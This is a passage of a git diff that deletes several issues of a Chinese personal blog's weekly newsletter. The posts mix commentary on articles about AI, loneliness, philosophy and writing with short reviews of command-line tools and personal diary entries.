拍摄人物时,面部的下颚线和身材特征都不那么上镜。[^1] - -作者实际上是在反驳「iPhone 照相机真的很好用」这个观点,他表示手机相机比不过最基础款的专业摄像机。 - -#### 我的观点 - -我不是摄影迷,所以不太懂,兴许 iPhone 相机在调整参数之后能改善这些问题呢?不过无论如何,手机摄像头比不过摄像机是肯定的。我认为对大多数人来说手机摄影已经足够了,如果需要更好的摄影体验和效果,购买入门款的数码相机就能达到比手机摄像机更好的效果。 - -[#Apple](/tags/apple/) - -### AI 将消灭孤独——这是个问题 - -> [!note] 📜 -> 文章链接:[A.I. Is About to Solve Loneliness. That’s a Problem](https://www.newyorker.com/magazine/2025/07/21/ai-is-about-to-solve-loneliness-thats-a-problem) - -现代人早就通过电视和短视频消灭了无聊,接下来,人们将会用能够聊天的大语言模型消灭孤独。后者可能要比前者可怕得多。 - -作者指出,在一些实验和研究中,人们发现 ChatGPT 给出的回复听起来要比真人给出的回复「更具同情心」。ChatGPT 似乎总是会给出肯定的话语,无论自己做了什么,无论自己有没有做错,这个计算机程序很少会违抗他的使用者。这也导致很多人在遇到人际交往问题时,往往求助于 AI,不是为了找到答案和解决方法,而是为了让自己感觉好受一点。 - -作者认为孤独和无聊一样,都是令人难受、痛苦的情绪,但对人来说是有益的。人们因为害怕孤立,所以会改变自身的行为、为他人着想、对他们表达关心和爱。如果孤独和无聊一样拿起手机就能解决,人们会变成什么样子?作者认为 AI 的陪伴应该像止痛药一样,只开放给那些真正需要、无力改变的人,人们不应该习惯用 AI 解决自己的孤独——因为孤独不是有害的,是真实的、有益的人类情感。 - -#### 我的观点 - -我在七月中下旬和八月初的前几天状态非常差,因为遇到了很多我当时认为无法解决的情感问题,当时我的做法就是疯狂地和 ChatGPT 对话。尽管他会有所劝导,但在我语气强硬时他总是会让迎合我的看法——包括发消息辱骂我那个之前躺在病床上饱受抑郁折磨的暧昧对象。 - -我在发现自己有这类行为的时候,就把它定义为「身为人类的无能时刻」,因为我觉得==只有自己在作为人类很失败的时候,才会需要非人的机器来帮助自己缓解情绪。== - -我的看法和这篇文章的作者一致:除非你真的无力回天,否则请把孤独和各种形式的痛苦当作做出改变的提醒和动力,不要像嗑药一样使用大语言模型。 - -[#AI](/tags/ai/) [#人际交往](/tags/人际交往/) - -## ⁂ · 星群 - -### Draw a fish! - -你可以在这个网站上画一条鱼,然后让它和其他人画的鱼一起游动。 - -找找我的在图上的什么地方! - - - -访问:[drawafish.com](https://drawafish.com/) - -## ※ · 妙语 - -{{< quotecard >}}如果一项开支已经付出,并且不管作出何种选择都不能收回,一个理性的人就会忽略它。{{</ quotecard >}} - -{{< right "——斯蒂格利茨《经济学》" >}} - -这句话说的就是常被人谈起的「沉没成本」。无法收回的过往开支就是无法改变的事实,个体除了接受别无他法。不愿意接受无法挽回的事实是不明智的,只是让自己一味地沉浸在失去的痛苦当中而已。这种痛苦体验虽然真实,但终究是感性的,如果还需要继续生活,就必须朝前看。 - -我认为可以在生活中践行「抛弃沉没成本」这一原则的方式有: - -1. 断舍离:一切都需要支付两次,一是购买一件物品时付出的金钱,二是使用一件物品时付出的劳动。如果自己不愿意支付第二次,那么第一次的钱就没有意义了,显然也是收不回来的。买「垃圾玩意」时付的钱就是沉没成本。如果觉得「扔了就太可惜了」,沉浸在「可惜」的痛苦里,就是过度关注沉没成本的不理性决策。 -2. 离开一段消耗自己的关系:包括我在内的很多人会因为自己曾经在一段关系中付出了很多,对一个人很好,所以在对方做了很多过分的事情时也不愿意离开对方。实际上,曾经的情感付出也是沉没成本,在面对一个只会给自己带来痛苦的人时,应该忽略沉没成本。 -3. 原谅一个人:曾经的错误、之前吵过的架,其实也是一种情感成本,说出去的话、做过的事情已经收不回来了。决定是否要原谅一个人时,理性的人应该关注这个人当下做了什么以及未来会做些什么来补偿,应该忽略沉没成本,除非对方真的犯下了越过底线的错误。 -4. 删除旧的笔记 / 记账条目:我最近就把记账软件里所有的条目和分类删除了,因为以前的混乱的分类系统已经让我现在的记账变得举步维艰,而且由此生成的统计数据也失去了参考价值。不应该因为以前为了建立某个系统付出了努力,就让旧的记录干扰当下的行动。 - -[#经济学](/tags/经济学/) [#断舍离](/tags/断舍离/) - -## ∬ · 切片 - -- 虽然一直觉得自己的女性气质没有很明显,但最近发现自己的心思确实挺像刻板印象里的小女生,暧昧对象不会消息会在心里惦记很久,之前吵起来也有这个原因。最近发现他虽然可能要等五六个小时才回消息,但他总是会回的,只是有自己的节奏而已,没理由不回。至于我嘛,可能是太想他了,所以容易陷在猜想里,得让自己安静下来才行。 -- 在我回家的路上,我的父亲就开始跟我唠他的减肥成果,说自己已经瘦了十多斤了。不过到了其他人面前,他就开始吹自己花了几千块钱买减肥产品、请了多少个营养师,然后自顾自地开始讲营养搭配,还声称减肥不能吃碳水(等着掉头发失眠吧你)、鸡蛋要怎么吃…… - - *没花一分钱自己用三个月减了 40 斤的我露出困惑的神情* -- 这周状态也不太好,但总体来说是有改善的,尤其是后面几天。兴许是水逆要结束了,秋天也要来了吧。~~去死吧夏天~~ - -[^1]: 个人觉得这条比较主观。 diff --git a/content/posts/weekly/42.md b/content/posts/weekly/42.md deleted file mode 100644 index 5ab3e737..00000000 --- a/content/posts/weekly/42.md +++ /dev/null @@ -1,238 +0,0 @@ -+++ -title = "稻草人周刊 Vol.42" -subtitle = "古典审美与现代审丑" -tags = [ - "哲学", - "道德", - "Geek", - "语言", - "健康", - "消费主义", - "理财", -] -date = 2025-08-18 10:04:00 -categories = "稻草人周刊" -draft = false -toc = true -banner = "https://r2.eltr.ac/uPic/2025/08/IMG_5005大.jpeg" -endnotes = [ - "封面图自摄,设备为 iPhone 15 Pro", - "封面图是那天我坐车去见他,在回家的路上拍摄的路边景色。", -] -aliases = [ - "/posts/weekly/42", -] -+++ -<iframe allow="autoplay *; encrypted-media *;" frameborder="0" height="150" style="width:100%;max-width:660px;overflow:hidden;background:transparent;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.music.apple.com/cn/album/jealousy-jealousy/1560735414?i=1560735561"></iframe> - -> I kinda wanna throw my phone across the room -> -> 我有点想把手机砸到房间对面去 - -<!--more--> - -## ↯ · 当下 - -- 新的小说发布了:《[明天太阳不会升起](/fictions/明天太阳不会升起/)》。 -- 博客的大部分访问量都来自 VXNA,但为了防止更新频率过高打扰到别人,我向 VXNA 提供的是只包含[议叙](/posts/)更新的 RSS 链接。这导致了「图书馆」分区的内容阅览量很少,尽管书评我也写得非常认真。思来想去,我觉得在周刊里通知一下书评的更新就可以了。 - - 这周读完了《[如何在黑暗的房间里找到一只黑猫](/library/2025/如何在黑暗的房间里找到一只黑猫/)》,觉得乏善可陈甚至有些讨厌,我在书评里详细阐述了原因。 - - 在周日读完了《[寂寞的频率](/library/2025/寂寞的频率/)》,是目前为止我今年最喜欢的短篇集。 - - 这个月初还读完了树老师翻译的《[如何从敌人身上获益](/library/2025/如何从敌人身上获益/)》,如果你还没读过这篇书评也可以看看。 -- 博客的一些小更改 - 1. 添加了全局的渐变遮罩,页面上下会有一层雾蒙蒙的效果 - 2. 终于添加了「返回顶部」按钮。当深入页面并尝试往上移动时,会有一只蝙蝠带你回去。 - 3. 新增了[标记](/highlights/)页面,列出了文章中所有的高亮标记。点击对应的高亮标记会直接跳转到文段位置。之后会精简高亮标记数量,在使用高亮标记的时候也会多思考:即将标记的这段话值不值得出现在这个页面里? -- [周二](/posts/完美幻觉/)去了趟观音桥,是回家这近十天以来唯一一次出门,是去见他。总算把话说明白了,还能做朋友。男同谈恋爱真的好难,没法在一开始就确定对方是暧昧的试探还是直男维持友谊的方式,太早挑明又担心把人吓到。不想用小软件,担心遇到不好的人。我心情不太好,做什么都没精神,这次不是因为他,是因为自己。到周六的时候,我的状态才好起来。 - -## ⋈︎ · 连接 - -### 古典审美与现代审丑 - -> [!note] 📻 -> 播客链接:[Apple Podcast](https://podcasts.apple.com/cn/podcast/%E7%8B%AC%E6%A0%91%E4%B8%8D%E6%88%90%E6%9E%97/id1711052890?i=1000721736049) / [小宇宙](https://www.xiaoyuzhoufm.com/episode/689bded5032793b18a1ac352?utm_source=rss) - -树老师在上海图书馆新书对谈中提到了一个对我来说很新也很有启发的观点。在复述这个观点之前,先要定义「美丑」。在古希腊语中,καλοV 这个单词的意思是「美」,但它的含义不止于外表的美,更近似于「真善美」的概念。古希腊文化里的审美,就是道德、文化、观念、真理、视觉等多重意义上的「美」。这里用「丑」来代指其反面。 - -古典哲学和现代哲学的一个显著区别就是:古典哲学是审美的,而现代哲学是审丑的。 - -现代哲学致力于消除社会中的「结构性不公」,所谓的结构性不公就是社会「丑」的表现。无论是女性主义、性少数运动、种族平等、阶级平等还是别的什么平等,都是为了消除社会中的「丑」而诞生的。现代人致力于发现丑、揭示丑,然后消除丑。这套逻辑是关注弱者的,是从整个社会的角度来构建的。现代思想只能从宏观的角度让世界变得「不丑」,或者说尽可能地减少丑,但这并不能把世界变得更「美」。 - -古典哲学往往充斥着美德、高尚和神圣等概念,古典哲学家们总是想要定义美、发现美、发扬美、成为美。可以说,为了让世界变得更美,就必须通过古代人的思想和方法。然而,古典哲学对美的追求体现在个人的修为上,要让世界变得更美,就必须从个人出发,而不能直接改变整个社会。 - -#### 我的观点 - -我认为古典哲学和现代哲学的这两种区别,其实是两种看待世界的视角。一方面,我们需要消除社会中的不公,消灭丑;另一方面,我们也不能忘了发现美,培养自身的品性,这样才能真正地让世界变得更美,更重要的是,这能让自己获得心灵的宁静。 - -[#哲学](/tags/哲学) [#道德](/tags/道德) - -### 自己打印一本书 - -> [!note] 📜 -> 文章链接:[Printing a Book at Home with Minimal Equipment](https://huijzer.xyz/posts/98) - -作者在写书,把草稿分发给别人看收集意见的最好方法是先打印出样本来,于是他决定自己试着在家打印一本书。他用到的材料很简单,只需要: - -1. 一台打印机 -2. 一沓 A4 纸 -3. 一个裁纸器 -4. 胶水 - -作者还写了一个 Python 脚本,确保打印机能够按照期望的顺序和格式打印书页,这样用裁纸器把书页从中间切开之后再叠在一起,就能得到正确顺序的书页。这样印出来的书页经过手工裁剪和粘贴难免会错位,作者表示超出封皮的书页直接裁剪掉就好了。 - -最终作者得到了一本还不错的样书,就是页面有点透,作者在考虑更换不同厚度的纸张。 - -#### 我的观点 - -我不知道自己以后能不能写书,但如果有机会的话,我很想自己印一本书试试。这种「自己写书然后自己在家印出来」出来的做法,在我看来,有点像是混杂了文人和极客两种人物形象的特质,总之很喜欢作者的做事方式,我觉得很有趣。 - -有趣的巧合:作者用的打印机型号和我家里的一模一样。 - -[#Geek](/tags/geek/) - -### 客观世界:站在「我」的对立面 - -> [!note] 📜 -> 文章链接:[My Favourite German Word](https://vurt.org/articles/my-favourite-german-word/) - -作者说他最喜欢的德语单词是「Gegenständen」,这个词的字面意思是 stand against(站在……的对立面)。Gegenständen 表示客观存在,即客观存在是对立与「自我」的,世界开始、我结束的边界就是我与客观世界的边界。 - -物品和知识都是 Gegenständen。作者认为,好的物品设计和好的信息组织形式,应该满足两点:合身(fit)同时有抵抗(resist),即这个客观存在在某种意义上能和你协同存在,但同时又需要你克服一定的阻力。 - -1. 好的物品设计应该是 fits-and-resists 的。一件衣服要合身,又不能完全贴合你的身体(over-fitting);一件衣服应当需要你用正确的方式克服阻力穿上,但又不应该让你感到不适。作者认为人体工学鼠标是不好的设计,因为它过度合身(over-fitting)了,这导致左撇子几乎没办法使用这样的鼠标(resists too much),也导致人们几乎没办法用其他的方式握持鼠标。 -2. 好的知识、信息组织形式,应该是 fits-and-resists 的。知识是客观存在,也具有空间属性,比如个体知道一本书存在于书架上的哪个位置。我找到这本书,以及在阅读过程中找到我需要的知识,都需要克服阻力;同时,我能够阅读这本书的文字,这对我来说也是「合身」的。反面例子自然是大语言模型对问题的回答,人们在短期内获得了某一情境下特定问题的答案,却没有建立真正的理解,从长期来看,并没有真正掌握知识和技能。抛弃阻力(resists)追求过度合身(over-fitting)的代价是人们开始变得被动和无能。 - -作者指出**人们应该意识到客观存在对自我存在不能够消除的抵抗**,因为两者具有明显的边界和不同的规则。我们应该尊重这种边界,去图书馆寻找知识时,就应该了解并遵守图书馆的规则(work on the library's terms),用自己的力量抵抗阻力,找到合适自己的东西。 - -作者认为一些人呼吁的「现在没人读文档了,人们应该开始给大语言模型写东西,用方便 AI 理解的格式写作」非常可笑,就像是我们应该按照车辆的形态(而非人)来建造城市一样。人不应该总是吃机器处理之后喂到嘴边的东西,不要试图消除 Gegenständen 的边界,把一切都变成「我」的一部分。 - -#### 一些摘录 - -> As objects, information must be well-designed – structured and created to fit and resist in the right ways. Everything that is strong, enduring and empowers us in our relationship with knowledge recognises that. The designer of good information understands it implicitly, just as the designer of good objects does. -> -> The convenience of web searches has eroded some of our deeper relationships with knowledge, particularly in those who have not already acquired a strong sense of its spatial nature. As the colleague who prompted this discussion pointed out, in the age of LLM-first information discovery, those relationships are at new risk. -> -> People are starting to expect machines to provide them not merely with sources containing the information they want, but direct answers to the questions they have. The idea of a source of information is being undermined. - -#### 我的观点 - -适当的阻力是有意义的,就像痛苦也是有意义的。如果没有痛苦,我们就不会珍惜幸福,甚至幸福的概念本身就不会存在。如果没有自我与客观世界的边界,如果我们与物体、知识之间不再有边界,我们不再需要克服阻力、理解外界的规则、主动地学习和摄取信息,人类文明会变成无法分离的混沌的黏浊物吧? - -[#哲学](/tags/哲学) [#语言](/tags/语言) - -### 如何切出完美的洋葱片 - -> [!note] 📜 -> 文章链接:[Dicing an Onion](https://pudding.cool/2025/08/onions/) - -这篇文章提供了一个被数学证明的最优切洋葱策略,这听起来实在是太极客了。 - -我不想用数学让读者无聊,所以直接说结论:对准圆心下方约 60% 半径远的地方切,这样能保证切出来的每个洋葱块大小最相似,也就是标准差最小。推荐读原文,文中还有可以交互的小组件,可以通过拖动更改洋葱的层数、切洋葱的次数、瞄准的位置等参数,计算出不同策略下洋葱块大小的标准差是多少。 - - - -不过,这其实并不会让食物变得有多好吃。 - -#### 我的观点 - -原来没有切洋葱护眼教程吗? - -### 为什么我劝你不要练习正念冥想? - -> [!note] 📺 -> 视频链接:[不要练习正念冥想](https://www.bilibili.com/video/BV1UY8yzYEF5/) - -作者在这期播客节目中主要讨论了由长期禅修引发的「禅病」这一问题。由于大多数禅修、冥想练习都要求练习者有意识地干预呼吸,而呼吸对人体包括神经系统在内的各个系统都非常重要,长期使用非自然的方式进行呼吸就有可能引发疾病。 - -作者还指出,禅修中的「正念」实际上包含了多个概念,而大部分培训课程、现代心理学的正念应用只强调「冥想」,无论是否考虑宗教含义,单纯练习冥想都不是真正的正念,而是「邪念」。简而言之,如今大部分人其实都对「正念」这个概念进行了「断章取义」,==抽出一个大概念中的一小部分进行过度的执行,长此以往就会导致问题==。作者对正念本身持开放态度,也鼓励有兴趣的人深入了解正念的全貌,而不是花钱买了一些课程就盲目练习。 - -#### 我的观点 - -尽管我经常听到有人把包括正念冥想在内的「身心灵」行业调侃为「百亿赛道」,但我其实对商业并不感兴趣,不过我很认同作者的一部分观点——一些商业化的培训课程断章取义并过度执行某一完整概念中的一小部分内容,以此榨取其商业价值而不是传播真理。 - -莫比乌斯在《[正如上帝所说——用神创造的 Prompt](https://onojyun.com/2025/08/12/正如上帝所说/)》中提到的内容让我感到诧异,原因是: - -> 在我的认知里提示词工程从来不是个人使用大语言模型的方法或工具,它是一个软件工程领域的概念,是为了让软件产品通过大语言模型给出高质量、有一致性、符合格式要求的文本内容的技术手段和规范。早在一两个月前 Hacker News 上就有人提出了上下文工程(Context Engineering)取代提示词工程(Prompt Engineering),读完这篇文章我才知道居然有人把工程概念当作商业噱头来赚钱(不过好像也在意料之中就是了)。 - -啧,对「培训班」和「卖课」的商业模式产生了更多的厌恶。我想这也是我对商人的**偏见**,我讨厌《[如何在黑暗的房间里找到一只黑猫](/library/2025/如何在黑暗的房间里找到一只黑猫/)》这本书的原因之一也是作者在字里行间里透露出来的商人思维——强调「卖点」而不是真理。我认为==这是消费主义入侵人类智识生活的体现==。 - -[#消费主义](/消费主义/) [#健康](/tags/健康/) - -## ⁂ · 星群 - -> [!note] 😉 -> 本周是命令行工具特辑。 - -{{< quotecard >}}“只要学会了用命令行,鹦鹉也能假装自己是黑客。”{{</ quotecard >}} - -### facad - -纯 C 语言编写,没有任何依赖,速度很快体积也很小的命令行工具,用更直观的方式列出目录内容。因为有 Emoji 图标所以能够很直观地分辨目录和文件,像 Git 配置文件 `.gitconfig` 也有自己的章鱼图标。 - -如果仅仅是需要在终端列出目录下的文件,可以用 `facad` 替代 `ls` 命令。 - - - -访问:[yellow-footed-honeyguide/facad](https://github.com/yellow-footed-honeyguide/facad) - -### dark-mode - -在命令行输入 `dark-mode` 即可切换 macOS 的浅色和深色模式。比起把鼠标移到右上角,点击控制中心,再点击显示器设置,然后再点击深色模式按钮,我宁愿用 Raycast 或者 Spotlight 打开终端,然后输入一串字符,全程不离开键盘。 - -访问:[sindresorhus/dark-mode](https://github.com/sindresorhus/dark-mode) - -### you-get - -通过命令行下载网站上的视频,支持 YouTube、Bilibili、X(Twitter)等各种平台的视频下载。如果想要下载高清版本的视频,需要配置 Cookies(因为许多视频网站需要用户登录后才能提供高清视频)。视频文件会被下载到命令行被执行的目录。 - -以前用过一些基于图形界面或 Web 的视频下载器,都不太好用,而且很多需要经过第三方服务器,下载速度非常慢,有各种限制,有不少还是收费的。这个命令行工具体积很小,解析和下载的速度也很快,总之就是非常好用。 - - - -访问:[soimort/you-get](https://github.com/soimort/you-get) - -### get-port - -网络工具,找到一个可用的端口。过于简单实用以至于不需要太多的介绍。 - -~~尽管我不太理解为什么要用 JavaScript 写命令行工具。~~ - -访问:[sindresorhus/get-port-cli](https://github.com/sindresorhus/get-port-cli) - -### ghostty - -一个跨平台、使用平台原生 UI、GPU 加速、功能丰富的终端模拟器。 - -我自己的大部分需求其实都能通过 macOS 自带的终端应用满足,自带终端就已经五脏俱全了。不过 Ghostty 确实有很多优势,在保证速度的情况下,它还提供了多种配色方案、窗口分割(macOS 终端只能上下切割,不能左右分屏)、密码输入的安全性保护等。默认的配色方案就要比 macOS 的终端看起来养眼很多。*另外就是我真的很喜欢 Ghostty 的幽灵图标!* - -Ghostty 对 Windows 系统的支持似乎不太好,一些功能有切割。 - -{{< gallery >}} - - -{{</ gallery >}} - -访问:[ghostty.org](https://ghostty.org) - -## ※ · 妙语 - -{{< quotecard >}}没有人因为贪恋美食而完全不吃食物,也没有人因为嗜酒而完全不饮酒;然而,却有人因贪恋金钱而不愿使用财富。{{</ quotecard >}} - -这是古希腊哲学家普鲁塔克在《论贪财》一文中写下的话,意在指出贪财者的荒谬之处。我对古希腊哲学了解甚少,但在我的印象里,古希腊哲人大多都反对过度享乐,所以,普鲁塔克鼓励读者「不要避免使用财富」其实是鼓励人们拿钱去换幸福。一方面不囤积财富,助长焦虑,让自己过上富有却痛苦的生活;另一方面让物质发挥其真正的作用,不让物质成为自己的束缚。 - -普鲁塔克也认为,凡是拥有足够生活所需的人,就不能算贫穷。一方面,留足生活所需要的钱财即可,无需过度囤积;另一方面,即使没有稳定的财富,只要能够满足生活各方面的需要,也不应该认为自己贫穷。 - -在我看来,追求规模的增长是无意义的,因为没有止境。健身追求硕大的肌肉,「大」是没有止境的(相对的「小」却有),所以一些人更追求有一定主观标准的肌肉线条;外出用餐选择自助餐,因为自己想要让钱尽可能地回本,但回本甚至获益是没有止境的(而明码标价的消费却有),所以一些人更追求花钱买到的良好用餐体验…… 贪财就是人们对规模增长的痴迷的一种体现,如果仔细观察的话,会发生他们在生活中无处不在。 - -[#哲学](/tags/哲学) [#道德](/tags/道德) [#理财](/tags/理财/) - -## ∬ · 切片 - -- 我的 ChatGPT 里有一个聊天,它知道我有关他的所有故事,这周二过后,我毫不犹豫地把它删除了。**大语言模型不止自己会产生幻觉,还会加重人的幻觉,让人们对最疯狂的解释深信不疑。** -- 英语句子里出现汉语词请一定按照汉语读法来读,干嘛模仿外国人说汉语的口音?假装自己不会音调、不会说汉语并不会让自己的英语变得更好。 -- 想起来半个月前还在教培机构工作的时候,一个和我一样学计算机的学生跑过来问我Word文档要怎么把页面调成横向的,我说我也不会,结果旁边一个学外贸的学生一秒内就找到了设置入口。 - - 我想原因大概是计算机学生不需要学计算机文化基础也不需要考二级,而且除了交作业真的不会用到 Word 文档。 - - 建议全世界掌握 Markdown 语言,需要离开键盘的操作能省就省,图形界面越简单越好。 -- 从回家的前一天就在约人玩剧本杀,结果过了十多天也还是没凑齐人,甚至在要出门的节骨眼上联系不上本来说好一起去的人临时取消了。😓 -- 有人说自己写作时就像是**上帝握住了自己的手**。我在状态低迷时感到的是内心的恶魔握住了自己的手,让我掏空自己倾泻痛苦。等我终于把自己的生活拉回正轨时,那种无需太多思考文字就能自然涌现的感觉终于回来了。 diff --git a/content/posts/weekly/43.md b/content/posts/weekly/43.md deleted file mode 100644 index 0c5ba06e..00000000 --- a/content/posts/weekly/43.md +++ /dev/null @@ -1,206 +0,0 @@ -+++ -title = "稻草人周刊 Vol.43" -subtitle = "为什么大语言模型无法创造软件" -tags = [ - "AI", - "编程", - "软件", - "设计", - "职业", - "沟通表达", -] -date = 2025-08-25 11:28:00 -categories = "稻草人周刊" -draft = false -toc = true -banner = "https://r2.eltr.ac/uPic/2025/08/IMG_20230331_185418大.jpeg" -endnotes = [ - "封面图自摄,一两年前用 HUAWEI P40 拍的", -] -aliases = [ - "/posts/weekly/43", -] -+++ -<iframe allow="autoplay *; encrypted-media *;" frameborder="0" height="150" style="width:100%;max-width:660px;overflow:hidden;background:transparent;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.music.apple.com/cn/album/spaceland/1511525457?i=1511525461"></iframe> - -> The ceiling's spinning -> -> And I think god is winning -> -> 'Cause I see my hands shaking -> -> And I cannot make them stop - -<!--more--> - -> [!note] 🧠 -> 欢迎加入本博客的 Telegram 频道「[大脑充血](https://t.me/geedeapro)」。 - -> [!note] 🤖 -> 由于本周我不小心任由 Hacker News 上的推送进入我的大脑,所以周刊的 AI 话题量稍显累赘,还请读者见谅。 - -## ↯ · 当下 - -- 什么时候意识到自己状态恢复的呢?就在一分钟前发现自己吃完饭听完播客站起来莫名其妙地跟着播客最后的背景音乐跳舞的时候。 -- 熟悉的高中同学暑假几乎都没有留在家乡,回家之后一直找不到人一起出游,本来想找点一个人可以做的事情,结果不仅重庆本身是个文化荒漠(剧院和展览几乎没有能看的),想看的电影在这个小地方的影院也没有上线…… 就关在家里读书得了。 -- 因为发现自己近期的注意力难以集中,于是试着把 Safari 阅读列表里的几篇文章打印了下来,结果惊奇地发现自己居然只用了半个小时就读完了之前需要一个小时才能读完的内容。这大概是因为纸张自带的沉浸感吧。 -  - -## ⋈︎ · 连接 - -### 为什么大语言模型无法创造软件 - -> [!note] 📜 -> 文章链接:[Why LLMs Can't Really Build Software](https://zed.dev/blog/why-llms-cant-build-software) - -作者认为,真正的软件工程师构建软件的过程是这样的: - -1. 在脑中构建一个需求的模型; -2. 编写代码实现它; -3. 在脑中构建这段代码实际行为的模型; -4. 发现两个模型的区别,然后更新代码。 - -大语言模型很擅长写代码,但无法创造软件的根本原因在于:它无法维护清晰的思维模型。原因如下: - -1. **上下文遗漏**(context omission):大语言模型会遗漏已经出现过的上下文。比如,明明先前要求大语言模型用 YAML 格式编写配置,可接下来却擅自使用 TOML 格式。 -2. **近因偏差**(recency bias):大语言模型更容易被最近的指令影响。 -3. **幻觉**(hallucination):大语言模型会幻想出根本不存在的细节。 - -这些或许是能够解决的问题,增加「记忆」功能就可以解决一些遗漏,但根本上,大语言模型创造的是[思考的幻觉](https://machinelearning.apple.com/research/illusion-of-thinking),他们不能维护两套「思维模型」、识别差异,然后判断应该修改代码还是修改需求。大部分复杂的思考还是要交给软件工程师来做。 - -作者相信(至少目前为止)程序员仍然在驾驶座,而大语言模型只是可以取用的工具而已。 - -#### 我的观点 - -我一直不相信「AI 会取代人类」之类的鬼话,原因很简单:**计算机程序没有主体性。** - -至少目前为止,AI 仍然需要人与之交互(提供输入)才能生成内容,它不能给自己写提示词,也没法判断生成出来的代码究竟能不能用。换句话说,它是客体。==取代人力的从来不是新技术,而是掌握了新技术的其他人;只要自己成为掌握新技术的人,就能成为取代别人的人。== - -[#AI](/tags/ai/) [#编程](/tags/编程/) - -### 如何清晰地发言 - -> [!note] 📺 -> 视频链接:[How to articulate your thoughts more clearly than 99% of people](https://www.youtube.com/watch?v=JHmAS4q-GqY) - -这位 YouTuber 拆解了「表述清晰」(articulate)的意思,即需要同时做到流畅(fluency)和连贯(coherency)。要做到这点,演讲者需要有好的内容和结构(content / structure),还要很好地将内容传达出去(delivery)。 - -其中我觉得最有启发的建议是:减少听众的心理负担。如果讲了太多话,听众就需要耗费很多的心理资源和认知资源来理解这些话,用尽可能直接的语言描述自己的想法和需求能够提高表达的效率。不过,按照这位 YouTuber 自己的表述来看,他更多地是在传授「职场技巧」,即怎么和那些没什么时间精力听你讲话的高层人员做汇报、开会[^1];我认为,减少听众的心理负担,对与自己了解甚少的陌生人沟通时也有必要。 - -#### 我的观点 - -在背景里的逻辑框架的伪装下,这位 YouTuber 的演讲看起来具有逻辑连贯性,实则不然。如果看完了整个视频,就能观察到明显的前后矛盾。 - -首先,在「Content / Structure」部分,作者讲到的一条原则是「解释的最快路径」,即用最少的文字讲清楚自己的内容和目标,去掉不必要的细节。然而,在「Delivery」部分,作者却提到了「讲故事」的技巧,即通过描述场景、增加细节,让表达更引人入胜。这两条建议完全是相反的,而作者并没有解释这两条建议分别适用于什么场合。回过头看,这整个视频都充斥着**让人不知道什么时候用但听起来又很实用**的方法指导。 - -当然,尽管我觉得内容不怎么样,但这位 YouTuber 讲话的方式非常清晰,我也完全理解了他的意思,这也是为什么我能很快找出视频中的逻辑错误。我认为他的表达清晰并非源自于他在视频中解释的方法,而是: - -1. 他的发音很清晰(enunciate 而非 articulate),观众能听清楚每个单词是什么。 -2. 他的重音很明显,需要强调的地方有自然地加重语气、拖长语调,一些不重要的虚词和句子语速则较快。 -3. 他有解释原因,不仅让观众理解了「怎么做」,还能在理性上认同「为什么要这样做」。 -4. 他有适当的例证,观众容易产生画面感,在感性上认可其价值。 -5. 他没有明显的卡顿、废话,整体而言,演讲较为连贯。 - -缺点也很明显,比如 like 和 literally 这两个词用得实在是太多了,这虽然能从侧面看出他不是在背稿,而是完全基于自己的理解在阐述,但我作为听众不需要看到他的努力,我只需要看到一出逻辑清晰、观点明确、语流连贯的演讲。 - -[#沟通表达](/tags/沟通表达/) - -### “用 AI 取代初级员工是我听过最蠢的事” - -> [!note] 📜 -> 文章链接:[AWS CEO says using AI to replace junior staff is 'Dumbest thing I've ever heard'](https://www.theregister.com/2025/08/21/aws_ceo_entry_level_jobs_opinion/) - -小标题上的这句话是亚马逊 Web 服务的 CEO,Matt Garman,说的,他对一些常见的管理人员对 AI 的迷思做出了反驳。 - -1. 一些人认为:既然 AI 能完成初级员工能做到的事情,甚至能做得更好,那么为什么不把人员开除掉,用 AI 完成工作?<br/> - Garman 认为:如果这么做了,那十年之后有企业里就不会有新人学到任何东西,你应该继续雇佣从大学里出来的孩子,并且教他们如何正确地构建软件、拆解问题并作出思考,就像你曾经做过的一样。 -2. 一些人认为:可以通过项目中 AI 生成的代码的占比衡量 AI 对项目的贡献程度。<br/> - Garman 认为:**好的代码往往是简短的**。尽管 AI 能够产生大量的代码,但那些代码也可能很烂。 - -Garman 还给出了一些职业建议:在如今,学习一门应用面很窄的技能(narrow skills)已经不再能保证自己二三十年内还有饭吃了,现在人们应该**学着如何学习**,而不只是学习技能。 - -#### 我的观点 - -关于「学着如何学习」,这篇文章中并没有详细阐述,我想就算有的话,我也不愿意照搬别人的方法论。我的观点是,应该在做的过程中去学,而不是学完了再做。既然「做」就是学习的方式,那么一直做、一直尝试新的东西,就能一直保持学习,如此一来自己对「如何学习」就会有自己的经验和方法了。 - -[#AI](/tags/ai/) [#编程](/tags/编程/) [#职业](/tags/职业/) - -### 读着顺口与写得正确 - -> [!note] 📜 -> 文章链接:[Good Writing](https://www.paulgraham.com/goodwriting.html) - -Paul Graham 在这篇文章中讨论了好的写作是怎样的。他认为,通常来讲,好的写作有两个层面的意思——读着顺口(sounding good)和写得正确(ideas being right)。他认为这两种好的写作往往同时出现,有可能是同一个东西的两端。 - -他发现自己在修改文章时,为了减少字数或改掉不顺口的地方,会重写一些句子,而这些无论出于何种原因重写的句子似乎总是更准确地表达了观点。当他在尝试让句子读得更顺口的时候,自己也写得更正确了。他认为这是因为修改时,自己有意识或无意识地修正了一些错误表达,**读着更顺口的句子更有可能是内部逻辑连贯的句子**。好的作家在写作时能够无意识地做到读着顺口和写得正确,因为他们不仅是诚实的,对所写话题也有真正的思考,并且相信自己写的东西是正确的。 - -不过,他认为这一发现只适用于那些为了发展想法而写的文章(writing that's used to develop ideas)。 - -#### 我的观点 - -我想本文表达的只是 Paul Graham 的经验法则,适用范围较窄,但仍然具有参考价值。同时,你也可以从他的言外之意读出,写作最重要的是连贯的内部逻辑和忠于自我。 - -[#写作](/tags/写作/) - -### AI 正在高速产出技术债务 - -> [!note] 📜 -> 文章链接:[Vibe code is legacy code](https://blog.val.town/vibe-code) - -Vibe coding 不仅仅是指「用 AI 直接生成代码而不去过多地审查」,作者指出,Andrej Karpathy 造出 Vibe code 这个词的时候,指代的实际上是「用 AI 生成后,直接忘记这段代码存在」的编码方式。这样被忘记的代码,在一开始被 AI 生成后也没有被认真地阅读和审查过,也就没有被理解过。在生成式 AI 编程崛起前,人们早就造了一个词用来称呼那些老旧的、没人看得懂的代码——Legacy code(遗产代码)。 - 